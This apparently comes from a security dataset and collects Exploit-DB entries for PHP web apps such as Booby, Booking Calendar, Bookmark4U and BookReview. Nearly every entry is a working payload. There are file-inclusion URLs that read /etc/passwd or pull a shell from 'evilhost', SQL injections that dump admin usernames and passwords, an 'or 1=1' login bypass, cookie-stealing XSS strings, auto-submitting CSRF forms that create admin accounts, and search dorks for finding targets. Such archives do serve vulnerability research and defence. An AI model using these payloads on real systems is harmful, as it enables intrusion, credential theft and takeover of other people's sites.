deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5722
Description: Booby 1.0.1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-06-02
Author: HaiHui

Exploit:
#software name: Booby
#version: 1.0.1
#description: A Webbased Personal Information Manager (PIM) with support for bookmarks, calendar, contacts, notes, news and tasks.
#download: http://sourceforge.net/project/showfiles.php?group_id=87672&package_id=91447&release_id=326826
#bug: Multiple Remote Vulnerabilities
#contact: mailbox1333@gmail.com

Local File Include / Remote File Include in: template.tpl.php

Proof Of Concept LFI: http://localhost/path/templates/barrel/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/barry/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/mylook/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/oerdec/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/penguin/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/sidebar/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/slashdot/template.tpl.php?renderer=../../../../../../etc/passwd
                      http://localhost/path/templates/text-only/template.tpl.php?renderer=../../../../../../etc/passwd

Proof Of Concept RFI: http://localhost/path/templates/barrel/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/barry/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/mylook/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/oerdec/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/penguin/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/sidebar/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/slashdot/template.tpl.php?renderer=evilhost/shell.txt
                      http://localhost/path/templates/text-only/template.tpl.php?renderer=evilhost/shell.txt



regards> ph03n1xbroc / zuh_runezz / sara / sirzion / ov / mozi / picolo_elfo /

# milw0rm.com [2008-06-02]
Exploit-DB #12749
Description: Book Gallery - 'aboutbook.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-26
Author: Mr.P3rfekT

Exploit:
# Title: Book Gallery (aboutbook.php) SQL Injection Vulnerability 
# Version: 1.0
# Author: Mr.P3rfekT
# Software Link:N/A
# Tested on Lunix
# CVE : N/A
 
############### Founded By Mr.P3rfekT ###############
 
Helllo Allz
 
 
# Exploit :
 
http://127.0.0.1/path/aboutbook.php?id=[] <== SQLi

 
sh done

 
####################################################################
 
MaiL :R4p@hotmail.com

Greeetz To : Sinaritx,HcJ,Mr.Black,Uzm4n,Nani17,Cyb3r-DeViL,www.v4-team.com,www.arab-exploit.com Cr3w,www.Barcelonasy.com & All Who Known Me

 
###############################################
Exploit-DB #51123
Description: Book Store Management System 1.0.0 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-03-29
Author: Rajeshwar Singh

Exploit:
# Exploit Title: Book Store Management System 1.0.0 - Stored Cross-Site Scripting (XSS)
# Date: 2022-11-08
# Exploit Author: Rajeshwar Singh
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/bsms_ci.zip
# Tested on: Windows/XAMPP
###########################################################################

Payload use = "><script>alert("XSS")</script>

1. Visit URL http://localhost/bsms_ci/
2. login with admin Credentials 
3. navigate to user Management
4. Click on "Add New System User"
5. Add  payload in "Name" input field 
6. Click save.
7. Visit http://localhost/bsms_ci/index.php/user
8. XSS payload execute.
Exploit-DB #48428
Description: Booked Scheduler 2.7.7 - Authenticated Directory Traversal
Type: webapps
Platform: php
Date: 2020-05-06
Author: Besim

Exploit:
# Exploit Title: Booked Scheduler 2.7.7 - Authenticated Directory Traversal
# Date: 2020-05-03
# Author: Besim ALTINOK
# Vendor Homepage: https://www.bookedscheduler.com
# Software Link: https://sourceforge.net/projects/phpscheduleit/
# Version: v2.7.7
# Tested on: Xampp
# Credit: İsmail BOZKURT

Description:
----------------------------------------------------------
Vulnerable Parameter: $tn
Vulnerable File: manage_email_templates.php


PoC
-----------

GET
/booked/Web/admin/manage_email_templates.php?dr=template&lang=en_us&tn=vulnerable-parameter&_=[PII_REDACTED]24
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 ***************************
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/booked/Web/admin/manage_email_templates.php
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Cookie: new_version=v%3D2.7.7%2Cfs%3D[PII_REDACTED];
PHPSESSID=94129ac9414baee8c6ca2f19ab0bcbec
Exploit-DB #31421
Description: Booking Calendar - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-02-05
Author: AtT4CKxT3rR0r1ST

Exploit:
Booking Calendar PHP   - Multiple Vulnerabilties
===================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://www.sajt-trgovina.com/booking_calendar/
####################################################################

[1] Multiple Sql Injection
===========================

http://site/calendare/get_code.php?id=null'+and+1=2+union+select+1,2,version(),4,5,6---
http://site/calendare/read_answer.php?id=null+and+1=2+union+select+1,2,3,4,5,6,version(),8,9,10
http://site/calendare/edit_calendar.php?id=null'+and+1=2+union+select+1,version(),3,4,5,6---

[2] Cross Site Scripting
=========================

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://site/calendare/">
<input type="hidden" name="id_template" value="2"/>
<input type="hidden" name="name"
value="<script>alert(document.cookie);</script>"/>
<input type="hidden" name="save_new_calendar" value="Save new calendar"/>
</form>
</body>
</html>

[3] Cross Site Request Forgery
==============================

[Add Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://site/calendare/user_add.php
">
<input type="hidden" name="name" value="iphobos"/>
<input type="hidden" name="email" value="email@hotmail.com"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="user_add" value="Save changes"/>
</form>
</body>
</html>


####################################################################
Exploit-DB #7253
Description: Booking Centre 2.01 - 'HotelID' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-27
Author: R3d-D3V!L

Exploit:
 [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe: (hotel_habitaciones.php HotelID) Remote SQL Injection Vulnerability
  
 [~]Vendor: www.bookingcentre.eu
  
 [~]Software: Hotels Group
  
 [~]author: ((Ñ3d D3v!L)) 
  
 [~] Date: 28.11.2008 
  
 [~] Home: www.ahacker.biz 
  
 [~] contact: N/A 
 [~] ----------------------------------------------------------- 
  

 [~] Exploit: 

 http://demo.hotelsadmin.com/www_en/hotel_habitaciones.php?HotelID=(SQL)


 [~] (SQL): 

 1+union+select+concat_ws(0x3a,@@version,0x3a,user())--
  
 [~]-------------------------------------------------------------------------------- 
 [~] Greetz tO: keta & m4n0n & maxmos & EV!L KS@ & hesham_hacker 
 [~] 
 [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ 
 [~] 
 [~] EV!L !NS!D3 734M ---> R3d-D3v!L--EXOT!C --poison scorbion --samakiller
 [~] 
 [~] xp10.biz & ahacker.biz
 [~] 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-27]
Exploit-DB #7263
Description: Booking Centre 2.01 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-28
Author: MrDoug

Exploit:
Booking Centre 2.01 (Auth Bypass) SQL Injection Vulnerability

--------------------------------------------------------------

Author: MrDoug
E-mail: mrdoug13[at]gmail[dot]com

--------------------------------------------------------------

Exploit: http://demo.hotelsadmin.com/admin/index.php

Username == admin' or '1'='1
password == (whatever)

--------------------------------------------------------------

Greetz to Slappywag

--------------------------------------------------------------

# milw0rm.com [2008-11-28]
Exploit-DB #20942
Description: Booking System Pro - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-08-30
Author: DaOne

Exploit:
# Exploit Title: Booking System Pro CSRF Vulnerability
# Date: 28/08/2012
# Author: DaOne (@LibyanCA)
# Vendor: http://www.neptunescripts.com/products
# Price: $39


# CSRF Add Admin

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://[target]/admin/users/add">
<input type="hidden" name="data[User][name]" value="webadmin"/>
<input type="hidden" name="data[User][username]" value="webadmin">
<input type="hidden" name="data[User][password]" value="pass123">
<input type="hidden" name="data[User][email]" value="admin@email.com">
<input type="hidden" name="data[User][phone]" value=""/>
<input type="hidden" name="data[User][role]" value="admin"/>
</form>
</body>
</html>
Exploit-DB #44773
Description: BookingWizz Booking System 5.5 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-27
Author: AkkuS

Exploit:
# Exploit Title: BookingWizz Booking System 5.5 - 'bs-services-add.php' SQL Injection
# Dork: N/A
# Date: 27.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/booking-system/87919
# Version: 5.5
# Category: Webapps
# Tested on: Kali linux
# Description : The service editing on the admin panel is vulnerable.
An attacker can exploit the entire database using this vulnerable in the
'id' parameter.
====================================================

# PoC : SQLi :

http://www.site.com/booking/bs-services-add.php?id=2

Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: id=(SELECT (CASE WHEN (6769=6769) THEN 6769 ELSE 6769*(SELECT
6769 FROM INFORMATION_SCHEMA.PLUGINS) END))

====================================================
Exploit-DB #27975
Description: Bookmark4U 2.0 - '/inc/common.php?env[include_prefix]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-05
Author: SnIpEr_SA

Exploit:
source: https://www.securityfocus.com/bid/18281/info
  
Bookmark4U is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
  
http://www.example.com/[Bookmark4Upath]/inc/common.php?env[include_prefix]=[evil_scripts]
Exploit-DB #27974
Description: Bookmark4U 2.0 - '/inc/config.php?env[include_prefix]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-05
Author: SnIpEr_SA

Exploit:
source: https://www.securityfocus.com/bid/18281/info
 
Bookmark4U is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
http://www.example.com/[Bookmark4Upath]/inc/config.php?env[include_prefix]=[evil_scripts]
Exploit-DB #27973
Description: Bookmark4U 2.0 - '/inc/dbase.php?env[include_prefix]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-05
Author: SnIpEr_SA

Exploit:
source: https://www.securityfocus.com/bid/18281/info

Bookmark4U is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[Bookmark4Upath]/inc/dbase.php?env[include_prefix]=[evil_scripts]
Exploit-DB #27976
Description: Bookmark4U 2.0 - '/inc/function.php?env[include_prefix]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-05
Author: SnIpEr_SA

Exploit:
source: https://www.securityfocus.com/bid/18281/info
   
Bookmark4U is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
   
http://www.example.com/[Bookmark4Upath]/inc/function.php?env[include_prefix]=[evil_scripts]
Exploit-DB #6637
Description: BookMarks Favourites Script - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-30
Author: Hussin X

Exploit:
|___________________________________________________|
|
| BookMarks Favourites Script (view_group.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  IQ-SecuritY  >   WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                                                                    |
|
| script : http://www.quidascript.com/index.php?main_page=product_info&products_id=77
|
| DorK   : inurl:view_group.php?id=
|___________________________________________________|


Exploit:

www.[target].com/Script/view_group.php?id=-1+union+select+0,'Im-IRAQI',concat_ws(0x3a,username,password),0,0,0,0,0+FROM+apb_users--



Demo :

http://www.quidascript.com/bookmarks/view_group.php?id=-1+union+select+0,'Im-IRAQI',concat_ws(0x3a,username,password),0,0,0,0,0+FROM+apb_users--





____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|______________________________________________________________________


                                  Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-09-30]
Exploit-DB #5040
Description: BookmarkX script 2007 - 'topicid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-02
Author: S@BUN

Exploit:
#########################################################################
#
# BookmarkX script(Powered by GengoliaWebStudio)SQL Injection
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
# DorKs 1 : "2007 BookmarkX script"
#
# DORKS 2 : Powered by GengoliaWebStudio
#
# DORK 3 : allinurl :"index.php?menu=showtopic"
#
#########################################################################
# EXPLOIT :
#
index.php?menu=showtopic&topicid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(auser,0x3a,apass),4,5,6/**/FROM/**/admin/*%20admin=1

or

index.php?menu=showtopic&topicid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(auser,0x3a,apass),4,5,6,7/**/FROM/**/admin/*%20admin=1
##########################################################################
# S@BUN                   www.hackturkiye.com                     S@BUN #########################################################################
#########################################################################
# S@BUN                    GOOD LUCKY                              S@BUN
#########################################################################

# milw0rm.com [2008-02-02]
Exploit-DB #25731
Description: BookReview 1.0 - 'add_booklist.htm?node' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-26
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13783/info
    
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/add_booklist.htm?node=Agriculture_and_Aquaculture%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25734
Description: BookReview 1.0 - 'add_classification.htm?isbn' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-26
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13783/info
       
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
       
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/add_classification.htm?isbn=[PII_REDACTED]%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Gospels
Exploit-DB #25728
Description: BookReview 1.0 - 'add_contents.htm' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-26
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13783/info
 
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/add_contents.htm?isbn=083081423X%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25727
Description: BookReview 1.0 - 'add_review.htm' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-26
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13783/info

BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/add_review.htm?isbn=[PII_REDACTED]&node=%3Cscript%3Ealert(document.cookie)%3C/script%3E&review=true
http://www.example.com/add_review.htm?isbn=[PII_REDACTED]%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Political_Science&review=true
http://www.example.com/add_review.htm?isbn=[PII_REDACTED]&node="><script>alert(document.cookie)</script>&review=true
http://www.example.com/add_review.htm?node=index&isbn=\\"><script>alert(document.cookie)</script>
Exploit-DB #25732
Description: BookReview 1.0 - 'add_url.htm?node' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-26
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13783/info
     
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/add_url.htm?node=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25730
Description: BookReview 1.0 - 'contact.htm?user' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-26
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13783/info
   
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/contact.htm?user=admin%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25733
Description: BookReview 1.0 - 'search.htm?submit string' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-26
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13783/info
      
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/search.htm?page=search&submit%5Bstring%5D=%5C%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&submit=Ok&submit%5Btype%5D=author
Exploit-DB #25729
Description: BookReview 1.0 - 'suggest_category.htm?node' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-26
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13783/info
  
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/suggest_category.htm?node=Agriculture%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25735
Description: BookReview 1.0 - 'suggest_review.htm?node' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-26
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13783/info
        
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
        
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/suggest_review.htm?node=Business_and_Economics"><SCRIPT>alert()</SCRIPT>